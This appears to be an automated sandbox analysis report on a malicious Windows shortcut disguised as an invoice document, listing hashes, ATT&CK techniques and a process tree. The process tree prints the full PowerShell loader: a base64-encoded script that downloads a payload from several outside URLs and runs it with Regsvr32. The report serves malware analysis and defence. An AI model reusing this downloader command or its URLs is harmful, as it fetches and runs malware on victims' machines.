79b3929c39c12f6ffc55c5423e22185da7016cffdb4b53dd94fcd9caa00f0fd4

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
20/11/2024, 02:44

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General

Target

79b3929c39c12f6ffc55c5423e22185da7016cffdb4b53dd94fcd9caa00f0fd4.lnk
Size

2KB
MD5

e3d071f439e540c370a1251cb1286fac
SHA1

6a511348a2c3c806c76992b686c41c4448b63cdf
SHA256

79b3929c39c12f6ffc55c5423e22185da7016cffdb4b53dd94fcd9caa00f0fd4
SHA512

7e5ad3acd450a5252e99689cdc611d250b31244149b96b3bc02f5636f4b1fc0c03b5b21082930f42101b7d18a6e28cf459e93610a7fabdf4ee0dde63a6375e6a

Score

6^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2768	powershell.exe
2904	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2768	powershell.exe
2904	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2768	powershell.exe
Token: SeDebugPrivilege	2904	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2336 wrote to memory of 2768	2336	cmd.exe	32
PID 2336 wrote to memory of 2768	2336	cmd.exe	32
PID 2336 wrote to memory of 2768	2336	cmd.exe	32
PID 2768 wrote to memory of 2904	2768	powershell.exe	33
PID 2768 wrote to memory of 2904	2768	powershell.exe	33
PID 2768 wrote to memory of 2904	2768	powershell.exe	33

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\79b3929c39c12f6ffc55c5423e22185da7016cffdb4b53dd94fcd9caa00f0fd4.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2336
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command Out-String -InputObject "Invoice Copies 2022-04-26_1648, United States.doc.lnk " | Out-Null; [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cDovL2htZW5nLmNvLnVrL2NnaS1iaW4vSC8iLCJodHRwczovL2Vkb3Jhc2VndXJvcy5jb20uYnIvY2dpLWJpbi9taDNNTUdLZmhYdEovIiwiaHR0cHM6Ly93d3cucmVuZWV0dGVuLm5sL01lbnUvWE5NaHg2blNubnBwOGFaemsvIiwiaHR0cDovL2JyZW5kYW5jbGVhcnkubmV0L2ltYWdlcy9vSUxFSnhPYjAyMU9naEdkeHMvIiwiaHR0cHM6Ly9iZW5jZXZlbmRlZ2hhei5odS93cC1pbmNsdWRlcy9pVVd2VU5xLyIsImh0dHA6Ly9hbmF0LWJhci5jby5pbC93cC1hZG1pbi9ENkxpczVDdHJNZHVyTS8iKTtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZW52OlRFTVAvd1p4cGNHaHFQeC5lcVo7UmVnc3ZyMzIuZXhlICRlbnY6VEVNUC93WnhwY0docVB4LmVxWjticmVha30gY2F0Y2ggeyB9fQ==')) > "C:\Users\Admin\AppData\Local\Temp\hgUQRrLvVK.ps1"; powershell -executionpolicy bypass -file "$env:TEMP/\hgUQRrLvVK.ps1"; Remove-Item "$env:TEMP/\hgUQRrLvVK.ps1" -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2768
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -file C:\Users\Admin\AppData\Local\Temp/\hgUQRrLvVK.ps1
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2904

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\hgUQRrLvVK.ps1

Filesize
926B

MD5
8ef6909ba4b9e6cd6676297601c39e5c

SHA1
9dcd9af682adacb278c1970d49babafd29df3928

SHA256
9a9ba2e8478d73ec02ff4c0d2c30dc0e7fad0e54d16737875c2b60fcbcac727c

SHA512
b8f40c8d659c82034984d703ea1a6cf4cbcdb3039bf917e2d9eba391f910af860c1e154ebe1b1004532b0412fa5c39db554a54f7c1bb1ec32c0bfcf4eb6900b5

Download Submit
memory/2768-38-0x000007FEF681E000-0x000007FEF681F000-memory.dmp

Filesize
4KB

Download
memory/2768-39-0x000000001B6C0000-0x000000001B9A2000-memory.dmp

Filesize
2.9MB

Download
memory/2768-41-0x000007FEF6560000-0x000007FEF6EFD000-memory.dmp

Filesize
9.6MB

Download
memory/2768-40-0x0000000001D80000-0x0000000001D88000-memory.dmp

Filesize
32KB

Download
memory/2768-42-0x000007FEF6560000-0x000007FEF6EFD000-memory.dmp

Filesize
9.6MB

Download
memory/2768-43-0x000007FEF6560000-0x000007FEF6EFD000-memory.dmp

Filesize
9.6MB

Download
memory/2768-44-0x000007FEF6560000-0x000007FEF6EFD000-memory.dmp

Filesize
9.6MB

Download
memory/2768-45-0x000007FEF6560000-0x000007FEF6EFD000-memory.dmp

Filesize
9.6MB

Download
memory/2768-51-0x000007FEF6560000-0x000007FEF6EFD000-memory.dmp

Filesize
9.6MB

Download
memory/2768-53-0x000007FEF6560000-0x000007FEF6EFD000-memory.dmp

Filesize
9.6MB

Download